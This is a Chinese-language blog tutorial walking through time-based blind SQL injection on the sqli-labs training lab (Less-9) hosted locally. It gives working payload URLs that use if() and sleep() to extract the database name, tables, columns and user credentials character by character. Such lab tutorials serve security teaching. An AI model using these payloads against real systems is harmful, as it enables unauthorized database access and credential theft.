時間盲注詳解 Sqli-labs(Less 9—10)

今天來總結下時間盲注的知識。


時間盲注和bool盲注是很像的,區別就是“參照物”不同,基於bool的盲注可以通過頁面的一些變化來進行判斷結果,但是有時候,執行一些sql語句的測試,頁面不會有像布爾盲注的時候直觀的變化,這個時候可以在基於布爾的盲註上結合if判斷和sleep()函數來得到一個時間上的變換延遲的參照,也就可以讓我們進行一些判斷。也就是所謂的基於時間的盲注。

直接看題吧
Less-9 基於時間的單引號盲注
在這裏插入圖片描述
使用if(查詢語句,1,sleep(5)),即如果我們的查詢語句爲真,那麼直接返回結果;如果我們的查詢語句爲假,那麼過5秒之後返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確。

  1. if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
  2. sleep(n):將程序掛起一段時間 n單位爲秒
    根據題目提示,已經知道了爲單引號注入。
  • 猜測數據庫:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    說明第一位是 s (ascii 碼是 115)
    http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ 說明第二位是 e (ascii 碼是 101) … 以此類推,我們知道了數據庫名字是 security
  • 猜測 security 的數據表:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
  • 猜測第一個數據表的第一位是 e,…依次類推,得到 emails
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
  • 猜測第二個數據表的第一位是 r,…依次類推,得到 referers … 再以此類推,我們可以得到所有的數據表 emails,referers,uagents,users 猜測 users 表的列:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
  • 猜測 users 表的第一個列的第一個字符是 i, 以此類推,我們得到列名是 id,username,password
  • 猜測 username 的值: http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
  • 猜測 username 的第一行的第一位 以此類推,我們得到數據庫 username,password 的所有內容。

以上的過程就是我們利用 sleep()函數注入的整個過程。
手動注入過程很是繁瑣,可以用二分法提高效率,但大部分情況下都會選擇我們寫腳本注入。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章